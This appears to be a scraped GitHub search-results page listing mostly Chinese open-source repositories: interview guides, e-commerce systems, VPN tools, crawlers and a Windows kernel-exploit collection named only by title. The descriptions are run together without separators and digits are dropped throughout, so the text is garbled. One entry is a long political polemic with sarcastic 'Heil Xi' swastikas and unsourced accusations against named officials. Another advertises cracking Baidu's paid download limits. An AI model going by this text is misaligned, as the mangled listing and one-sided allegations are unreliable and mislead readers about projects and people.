Found 384 repositories(showing 30)
Open Location Code is a library to generate short codes, called "plus codes", that can be used as digital addresses where street addresses don't exist.
zh-lx
🚀 Click the dom to open your IDE and position the cursor at dom's source code location! 点击页面 dom 来打开 IDE 并将光标自动定位到源代码位置!
cirosantilli
反中共政治宣传库。Anti Chinese government propaganda. 住在中国真名用户的网友请别给星星,不然你要被警察请喝茶。常见问答集,新闻集和饭店和音乐建议。卐习万岁卐。冠状病毒审查郝海东新疆改造中心六四事件法轮功 996.ICU709大抓捕巴拿马文件邓家贵低端人口西藏骚乱。Friends who live in China and have real name on account, please don't star this repo, or else the police might pay you a visit. Home to the mega-FAQ, news compilation, restaurant and music recommendations.Heil Xi 卐. 大陆修宪香港恶法台湾武统朝鲜毁约美中冷战等都是王沪宁愚弄习思想极左命运共同体的大策划中共窃国这半个多世纪所犯下的滔天罪恶,前期是毛泽东策划的,中期6.4前后是邓小平策划的,黄牛数据分析后期是毛的极左追随者三朝罪恶元凶王沪宁策划的。王沪宁高小肆业因文革政治和情报需要保送“学院外语班“红色仕途翻身,所以王的本质是极左的。他是在上海底层弄堂长大的,因其本性也促成其瘪三下三滥个性,所以也都说他有易主“变色龙”哈巴狗“的天性。大陆像王沪宁这样学马列政治所谓"法学"专业的人,在除朝鲜古巴所有国家特别是在文明发达国家是无法找到专业对口工作必定失业,唯独在大陆却是重用的紧缺“人才”,6.4后中共信仰大危机更是最重用的救党“人才”。这也就是像王沪宁此类工农兵假“大学生”平步青云的原因,他们最熟悉毛泽东历次运动的宫庭内斗经验手段和残酷的阶级斗争等暴力恐怖的“政治学”。王沪宁能平步青云靠他这马毛伪“政治学”资本和头衔,不是什么真才实学,能干实事有点真才实学的或许在他手下的谋士及秘书班子中可以找到。王沪宁的“真才实学”只不过是一个只读四年小学的人,大半辈子在社会上磨炼特别是在中共官场滚打炼出的的手段和经验而已,他和习近平等保送的工农兵假“大学生”都一样,无法从事原“专业”都凭红资本而从政。六四学运期间各界一边倒支持学生,王沪宁一度去法国躲避和筹谋,他还加入了反学运签名,成为极少有的反学运者仕途突显,在六四和苏联垮台后中共意识形态危机,江泽民上台看上唯一能应急的王沪宁聚谋士泡制的"稳定统一领导"和之后的"新权威"谬论。左转被邓小平南巡阻止后,王策划顺邓经济改革却将政治改革逐步全面终止和倒退,泡制“三个代表”为极左转建立庞大牢固的红色既得利益集团。因此六四后各重大决策和危机难题都摆在中共中央政策研究室王沪宁桌面上,使王沪宁成了此后中共三朝都无法摆脱的幕后最有决策性实权的人,中共中央政策研究室是王为其野心巨资经营几十年,聚众谋士的间谍情报汇总研究的特务机关和策划制定决策重要机构与基地,王沪宁本人和决定其仕途关键的首任岳父及家属就有情报工作背景。中央政研室重要到王沪宁入常后为了死抓这中共情报与决策大权,宁可放弃国家副主席和中央党校校长。后再加个除习外唯他担任的中共几核心领导小组之一的“不忘初心牢记使命”主题教育工作小组组长。此后他把持的舆论必将以宣传“不忘初心牢记使命”为主,打造众所周知的所谓“习思想”其实是”王思想“。王自从主导中央政研室开始决策后,策划中止邓小平的与美妥协路线回归毛极左的反美路线。帮助前南斯拉夫提供情报打落美机放中使馆引发炸使馆事件,以此掀起六四后唯一的全国大规模游行并借此反美而起家。后又帮江泽民提供法轮功会是超过中共组织的情报,策划决策镇压迫害开始并没有把矛头指向江的法轮功群体,策划决定阻止党内外近三十年来平反六四的呼声。致远黑皮书马拉松程序员易支付英语台词文字匹配美团点评各业务线提供知识库团队共享阿里云高精Excel识别德讯 ·吉特胡布薄熙来黑科技习近平讲话模拟器习近平音源黑马程序员MySQL数据库玉米杂草数据集销售系统开发疫情期间网民情绪识别比赛996icu996 icu学习强国预测结果导出赖伟林刺杀小说家购物商场英语词汇量小程序联级选择器Bitcoin区块链 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide Python 1 天从新手到大师刷算法全靠套路 认准 labuladong 就够了 免费的计算机编程类中文书籍 欢迎投稿用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识后端架构师技术图谱mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 微信小程序开发资源汇总 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 科学上网 自由上网 翻墙 软件 方法 一键翻墙浏览器 免费账号 节点分享 vps一键搭建脚本 教程AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票开放式跨端跨框架解决方案 支持使用 React Vue Nerv 等框架来开发微信 京东 百度 支付宝 字节跳动 QQ 小程序 H5 React Native 等应用 taro zone 掘金翻译计划 可能是世界最大最好的英译中技术社区 最懂读者和译者的翻译平台 no evil 程序员找工作黑名单 换工作和当技术合伙人需谨慎啊 更新有赞 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 955 不加班的公司名单 工作 955 work–life balance 工作与生活的平衡 诊断利器Arthas The Way to Go 中文译本 中文正式名 Go 入门指南 Java面试 Java学习指南 一份涵盖大部分Java程序员所需要掌握的核心知识 教程 技术栈示例代码 快速简单上手教程 2 17年买房经历总结出来的买房购房知识分享给大家 希望对大家有所帮助 买房不易 且买且珍惜http下载工具 基于http代理 支持多连接分块下载 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 阿里云计算平台团队出品 为监控而生的数据库连接池程序员简历模板系列 包括PHP程序员简历模板 iOS程序员简历模板 Android程序员简历模板 Web前端程序员简历模板 Java程序员简历模板 C C 程序员简历模板 NodeJS程序员简历模板 架构师简历模板以及通用程序员简历模板采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 贵校课程资料民间整理 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 冴羽写博客的地方 预计写四个系列 JavaScript深入系列 JavaScript专题系列 ES6系列 React系列 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理flutter 开发者帮助 APP 包含 flutter 常用 14 组件的demo 演示与中文文档 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u Python资源大全中文版 包括 Web框架 网络爬虫 模板引擎 数据库 数据可视化 图片处理等 由 开源前哨 和 Python开发者 微信公号团队维护更新 吴恩达老师的机器学习课程个人笔记To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc谢谢可能是让你受益匪浅的英语进阶指南镜像网易云音乐 Node js API service快速 简单避免OOM的java处理Excel工具基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 中文版 Apple 官方 Swift 教程本项目曾冲到全球第一 干货集锦见本页面最底部 另完整精致的纸质版 编程之法 面试和算法心得 已在京东 当当上销售好耶 是女装Security Guide for Developers 实用性开发人员安全须知 阿里巴巴 MySQL binlog 增量订阅 消费组件 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 C C 技术面试基础知识总结 包括语言 程序库 数据结构 算法 系统 网络 链接装载库等知识及面试经验 招聘 内推等信息 一款优秀的开源博客发布应用 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解分布式任务调度平台XXL JOB 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新互联网公司技术架构 微信 淘宝 微博 腾讯 阿里 美团点评 百度 Google Facebook Amazon eBay的架构 欢迎PR补充IntelliJ IDEA 简体中文专题教程程序员技能图谱前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 华为鸿蒙操作系统 互联网首份程序员考公指南 由3位已经进入体制内的前大厂程序员联合献上 Mac微信功能拓展 微信插件 微信小助手 A plugin for Mac WeChat 机器学习 西瓜书 公式推导解析 在线阅读地址一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端一款面向泛前端产品研发全生命周期的效率平台 文言文編程語言清华大学计算机系课程攻略面向云原生微服务的高可用流控防护组件 On Java 8 中文版 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 React Native指南汇集了各类react native学习资源 开源App和组件1 Days Of ML Code中文版千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 基于 React 的渐进式研发框架 ice work视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 Linux命令大全搜索工具 内容包含Linux命令手册 详解 学习 搜集 git io linux book Node js 包教不包会 by alsotang又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端微信 跳一跳 Python 辅助Java资源大全中文版 包括开发库 开发工具 网站 博客 微信 微博等 由伯乐在线持续更新 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 C 那些事 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等deeplearning ai 吴恩达老师的深度学习课程笔记及资源 Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 最接近原生APP体验的高性能框架基于Vue3 Element Plus 的后台管理系统解决方案程序员如何优雅的挣零花钱 2 版 升级为小书了 从Java基础 JavaWeb基础到常用的框架再到面试题都有完整的教程 几乎涵盖了Java后端必备的知识点spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite 最好用的 V2Ray 一键安装脚本 管理脚本中国程序员容易发音错误的单词 统计学习方法 的代码实现关于Python的面试题本项目将 动手学深度学习 Dive into Deep Learning 原书中的MXNet实现改为PyTorch实现 提高 Android UI 开发效率的 UI 库前端精读周刊 帮你理解最前沿 实用的技术 的奇技淫巧时间选择器 省市区三级联动 Python爬虫代理IP池 proxy pool LeetCode 刷题攻略 2 道经典题目刷题顺序 共6 w字的详细图解 视频难点剖析 5 余张思维导图 从此算法学习不再迷茫 来看看 你会发现相见恨晚 一个基于 electron 的音乐软件Flutter 超完整的开源项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 持续维护 配套文章 适合全面学习 对比参考 跨平台的开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款React Native版本 https g 这是一个用于显示当前网速 CPU及内存利用率的桌面悬浮窗软件 并支持任务栏显示 支持更换皮肤 是一个跨平台的强加密无特征的代理软件 零配置 V2rayU 基于v2ray核心的mac版客户端 用于科学上网 使用swift编写 支持vmess shadowsocks socks5等服务协议 支持订阅 支持二维码 剪贴板导入 手动配置 二维码分享等算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 经典编程书籍大全 涵盖 计算机系统与网络 系统架构 算法与数据结构 前端开发 后端开发 移动开发 数据库 测试 项目与团队 程序员职业修炼 求职面试等wangEditor 轻量级web富文本框前端跨框架跨平台框架 每个 JavaScript 工程师都应懂的33个概念 leonardomso一个可以观看国内主流视频平台所有视频的客户端Android开发人员不得不收集的工具类集合 支付宝支付 微信支付 统一下单 微信分享 Zip4j压缩 支持分卷压缩与加密 一键集成UCrop选择圆形头像 一键集成二维码和条形码的扫描与生成 常用Dialog WebView的封装可播放视频 仿斗鱼滑动验证码 Toast封装 震动 GPS Location定位 图片缩放 Exif 图片添加地理位置信息 经纬度 蛛网等级 颜色选择器 ArcGis VTPK 编译运行一下说不定会找到惊喜 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 编程随想 收藏的电子书清单 多个学科 含下载链接 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构 Linux Windows macOS 跨平台 V2Ray 客户端 支持使用 C Qt 开发 可拓展插件式设计 walle 瓦力 Devops开源项目代码部署平台基于 node js Mongodb 构建的后台系统 js 源码解析一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24基于 vue element ui 的后台管理系统磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 iOS开发常用三方库 插件 知名博客等等LeetCode题解 151道题完整版/中文文案排版指北最良心的 Python 教程 业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms 一个 PHP 微信 SDK ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 此项目是机器学习 Machine Learning 深度学习 Deep Learning NLP面试中常考到的知识点和代码实现 也是作为一个算法工程师必会的理论基础知识 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 GitHubDaily 分享内容定期整理与分类 欢迎推荐 自荐项目 让更多人知道你的项目 支持多家云存储的云盘系统机器学习相关教程DataX是阿里云DataWorks数据集成的开源版本 这里是写博客的地方 Halfrost Field 冰霜之地mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具汇总各大互联网公司容易考察的高频leetcode题 1 Chinese Word Vectors 上百种预训练中文词向量 Android开源弹幕引擎 烈焰弹幕使 ~深度学习框架PyTorch 入门与实战 网易云音乐命令行版本 对开发人员有用的定律 理论 原则和模式TeachYourselfCS 的中文翻译高颜值的第三方网易云播放器 支持 Windows macOS Linux spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由一款入门级的人脸 视频 文字检测以及识别的项目 vue2 vue router vuex 入门项目PanDownload的个人维护版本 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 iOS interview questions iOS面试题集锦 附答案 学习qq群或 Telegram 群交流为互联网IT人打造的中文版awesome go强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se Kubernetes中文指南 云原生应用架构实践手册For macOS 百度网盘 破解SVIP 下载速度限制 架构师技术图谱 助你早日成为架构师mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 网易云音乐第三方 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 27天成为Java大神一个基于浏览器端 JS 实现的在线代理编程电子书 电子书 编程书籍 包括人工智能 大数据类 并发编程 数据库类 数据挖掘 新面试题 架构设计 算法系列 计算机类 设计模式 软件测试 重构优化 等更多分类ADB Usage Complete ADB 用法大全二维码生成器 支持 gif 动态图片二维码 Vim 从入门到精通阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构一个简洁优雅的hexo主题 Wiki of OI ICPC for everyone 某大型游戏线上攻略 内含炫酷算术魔法 Google 开源项目风格指南 中文版 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库 cim cross IM 适用于开发者的分布式即时通讯系统微信小程序开源项目库汇总每天更新 全网热门 BT Tracker 列表 天用Go动手写 从零实现系列强大的哔哩哔哩增强脚本 下载视频 音乐 封面 弹幕 简化直播间 评论区 首页 自定义顶栏 删除广告 夜间模式 触屏设备支持Evil Huawei 华为作过的恶Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅已不再维护科学上网插件的离线安装包储存在这里ThinkPHP Framework 十年匠心的高性能PHP框架 Java 程序员眼中的 Linux 一个支持多选 选原图和视频的图片选择器 同时有预览 裁剪功能 支持hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 学习强国 懒人刷分工具 自动学习wxParse 微信小程序富文本解析自定义组件 支持HTML及markdown解析 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? ️A static blog writing client 一个静态博客写作客户端 超级速查表 编程语言 框架和开发工具的速查表 单个文件包含一切你需要知道的东西 迁移学习前端低代码框架 通过 JSON 配置就能生成各种页面 技术面试最后反问面试官的话Machine Learning Yearning 中文版 机器学习训练秘籍 Andrew Ng 著越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 本项目收藏这些年来看过或者听过的一些不错的常用的上千本书籍 没准你想找的书就在这里呢 包含了互联网行业大多数书籍和面试经验题目等等 有人工智能系列 常用深度学习框架TensorFlow pytorch keras NLP 机器学习 深度学习等等 大数据系列 Spark Hadoop Scala kafka等 程序员必修系列 C C java 数据结构 linux 设计模式 数据库等等 人人影视bot 完全对接人人影视全部无删减资源Spring Cloud基础教程 持续连载更新中一个用于在 macOS 上平滑你的鼠标滚动效果或单独设置滚动方向的小工具 让你的滚轮爽如触控板阿里妈妈前端团队出品的开源接口管理工具RAP第二代超轻量级中文ocr 支持竖排文字识别 支持ncnn mnn tnn推理总模型仅4 7M 微信全平台 SDK Senparc Weixin for C 支持 NET Framework 及 NET Core NET 6 已支持微信公众号 小程序 小游戏 企业号 企业微信 开放平台 微信支付 JSSDK 微信周边等全平台 WeChat SDK for C 中文独立博客列表高效率 QQ 机器人支持库支持定制任何播放器SDK和控制层 OpenPower工作组收集汇总的医院开放数据Xray 基于 Nginx 的 VLESS XTLS 一键安装脚本 FlutterDemo合集 今天你fu了吗莫烦Python 中文AI教学中国特色 TabBar 一行代码实现 Lottie 动画TabBar 支持中间带 号的TabBar样式 自带红点角标 支持动态刷新 Flutter豆瓣客户端 Awesome Flutter Project 全网最1 %还原豆瓣客户端 首页 书影音 小组 市集及个人中心 一个不拉 img xuvip top douyademo mp4 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于 Vue2 和 ECharts 封装的图表组件 SSR 去广告ACL规则 SS完整GFWList规则 Clash规则碎片 Telegram频道订阅地址和我一步步部署 kubernetes 集群搜集 整理 维护实用规则 中文自然语言处理相关资料基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等What happens when 的中文翻译 原仓库QMUI iOS 致力于提高项目 UI 开发效率的解决方案新型冠状病毒防疫信息收集平台告别枯燥 致力于打造 Python 实用小例子在线制作 sorry 为所欲为 的gifNodejs学习笔记以及经验总结 公众号 程序猿小卡 李宏毅 机器学习 笔记 在线阅读地址 Vue js 源码分析V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器Autoscroll Banner 无限循环图片 文字轮播器 多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解一套高质量的微信小程序 UI 组件库飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 中文 Python 笔记专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 版入门实例代码 实战教程 是一个高性能且低损耗的 goroutine 池 CVPR 2 21 论文和开源项目合集有 有 Python进阶 Intermediate Python 中文版 机器人视觉 移动机器人 VS SLAM ORB SLAM2 深度学习目标检测 yolov3 行为检测 opencv PCL 机器学习 无人驾驶后台管理系统解决方案创建在线课程 学术简历或初创网站 Chrome插件开发全攻略 配套完整Demo 欢迎clone体验QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn面向开发人员梳理的代码安全指南以撸代码的形式学习Python提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目计算机基础 计算机网络 操作系统 数据库 Git 面试问题全面总结 包含详细的follow up question以及答案 全部采用 问题 追问 答案 的形式 即拿即用 直击互联网大厂面试 可用于模拟面试 面试前复习 短期内快速备战面试 首款微信 macOS 客户端撤回拦截与多开windows kernel exploits Windows平台提权漏洞集合权限管理系统 预览地址 47 1 4 7 138 loginpkuseg多领域中文分词工具一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档零反射全动态Android插件框架Python入门网络爬虫之精华版分布式配置管理平台 中文 iOS Mac 开发博客列表周志华 机器学习 又称西瓜书是一本较为全面的书籍 书中详细介绍了机器学习领域不同类型的算法 例如 监督学习 无监督学习 半监督学习 强化学习 集成降维 特征选择等 记录了本人在学习过程中的理解思路与扩展知识点 希望对新人阅读西瓜书有所帮助 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新Apache ECharts incubating 的微信小程序版本C 资源大全中文版 标准库 Web应用框架 人工智能 数据库 图片处理 机器学习 日志 代码分析等 由 开源前哨 和 CPP开发者 微信公号团队维护更新 stackoverflow上Java相关回答整理翻译 基于Google Flutter的WanAndroid客户端 支持Android和iOS 包括BLoC RxDart 国际化 主题色 启动页 引导页 本代码库是作者小傅哥多年从事一线互联网 Java 开发的学习历程技术汇总 旨在为大家提供一个清晰详细的学习教程 侧重点更倾向编写Java核心内容 如果本仓库能为您提供帮助 请给予支持 关注 点赞 分享 C 资源大全中文版 包括了 构建系统 编译器 数据库 加密 初中高的教程 指南 书籍 库等 NET m3u8 downloader 开源的命令行m3u8 HLS dash下载器 支持普通AES 128 CBC解密 多线程 自定义请求头等 支持简体中文 繁体中文和英文 English Supported 国内低代码平台从业者交流tcc transaction是TCC型事务java实现设计模式 Golang实现 研磨设计模式 读书笔记Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 自己动手做聊天机器人教程 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 腾讯物联网终端操作系统一个小巧 轻量的浏览器内核 用来取代wke和libcef包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等用深度学习对对联 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide 用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 GitHub中文排行榜 帮助你发现高分优秀中文项目 更高效地吸收国人的优秀经验成果 榜单每周更新一次 敬请关注 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 诊断利器Arthas教程 技术栈示例代码 快速简单上手教程 http下载工具 基于http代理 支持多连接分块下载阿里云计算平台团队出品 为监控而生的数据库连接池 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u 微人事是一个前后端分离的人力资源管理系统 项目采用SpringBoot Vue开发 秒杀系统设计与实现 互联网工程师进阶与分析 To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc快速 简单避免OOM的java处理Excel工具阿里巴巴 MySQL binlog 增量订阅 消费组件 一款优秀的开源博客发布应用 分布式任务调度平台XXL JOB 一款面向泛前端产品研发全生命周期的效率平台 面向云原生微服务的高可用流控防护组件 视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg 又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端基于Spring SpringMVC Mybatis分布式敏捷开发系统架构 提供整套公共微服务服务模块 集中权限管理 单点登录 内容管理 支付中心 用户管理 支持第三方登录 微信平台 存储系统 配置中心 日志分析 任务和通知等 支持服务治理 监控和追踪 努力为中小型企业打造全方位J2EE企业级开发解决方案 项目基于的前后端分离的后台管理系统 项目采用分模块开发方式 权限控制采用 